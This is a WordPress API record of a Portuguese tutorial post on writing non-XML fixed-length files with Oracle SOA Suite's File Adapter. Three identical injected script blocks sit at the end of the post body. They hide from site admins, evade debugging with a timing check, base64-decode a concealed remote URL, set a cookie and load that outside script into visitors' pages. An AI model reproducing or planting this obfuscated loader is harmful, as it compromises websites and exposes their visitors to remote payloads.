{"id":2496,"date":"2012-07-31T18:59:13","date_gmt":"2012-07-31T21:59:13","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=2496"},"modified":"2025-10-26T22:35:58","modified_gmt":"2025-10-27T01:35:58","slug":"arquivos-nao-xml-no-file-adapter","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2012\/07\/31\/arquivos-nao-xml-no-file-adapter\/","title":{"rendered":"Arquivos n\u00e3o XML no File Adapter"},"content":{"rendered":"<p style=\"text-align: justify;\">O File Adapter citado no <a title=\"Grava\u00e7\u00e3o em arquivo com File Adapter no Oracle SOA Suite\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2012\/07\/31\/gravacao-em-arquivo-com-file-adapter-no-oracle-soa-suite\/\" target=\"_blank\" rel=\"noopener\">post anterior<\/a>\u00a0pode ser utilizado para gravar arquivos diferentes de XML, com arquivos CSV, textos, cobol copybook e afins. Para esse tipo de arquivo, na etapa 6 do File Adapter Configuration Wizard, ao inv\u00e9s de especificar a URL, voc\u00ea deve selecionar a engrenagem ao lado da lupa.<\/p>\n<figure id=\"attachment_2497\" aria-describedby=\"caption-attachment-2497\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/07\/NativeFormatBuilderWelcome.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2497 \" title=\"Native Format Builder: Welcome\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/07\/NativeFormatBuilderWelcome-300x238.png\" alt=\"Native Format Builder: Welcome\" width=\"300\" height=\"238\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/07\/NativeFormatBuilderWelcome-300x238.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/07\/NativeFormatBuilderWelcome.png 602w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-2497\" class=\"wp-caption-text\">Native Format Builder: Welcome<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Clique em Next. No nosso exemplo, vamos utilizar a op\u00e7\u00e3o Fixed Length que \u00e9 um formato bastante utilizado para troca de informa\u00e7\u00f5es entre empresas banc\u00e1rias, mas sinta-se livre para aventurar em outros formatos, como o Delimited, Complex Type, DTD to XSD ou Cobol Copybook. Clique em Next. Na pr\u00f3xima tela, escolha um arquivo que tenha um exemplo de sa\u00edda desejada. Para facilitar voc\u00ea pode utilizar <a title=\"Saida Exemplo\" href=\"http:\/\/www.thiagovespa.com.br\/apps\/samples\/saidaExemplo.txt\" target=\"_blank\" rel=\"noopener\">o meu arquivo<\/a>. Selecione o Character set como UTF-8 que \u00e9 o Character set\u00a0do meu arquivo e clique em Next.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O File Adapter citado no post anterior\u00a0pode ser utilizado para gravar arquivos diferentes de XML, com arquivos CSV, textos, cobol copybook e afins. Para esse tipo de arquivo, na etapa 6 do File Adapter Configuration Wizard, ao inv\u00e9s de especificar <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2012\/07\/31\/arquivos-nao-xml-no-file-adapter\/\">Continue lendo  <span class=\"screen-reader-text\">  Arquivos n\u00e3o XML no File Adapter<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[8,9,76,6],"tags":[],"class_list":["post-2496","post","type-post","status-publish","format-standard","hentry","category-jdeveloper","category-oracle","category-soa-2","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2496","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=2496"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2496\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=2496"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=2496"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=2496"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}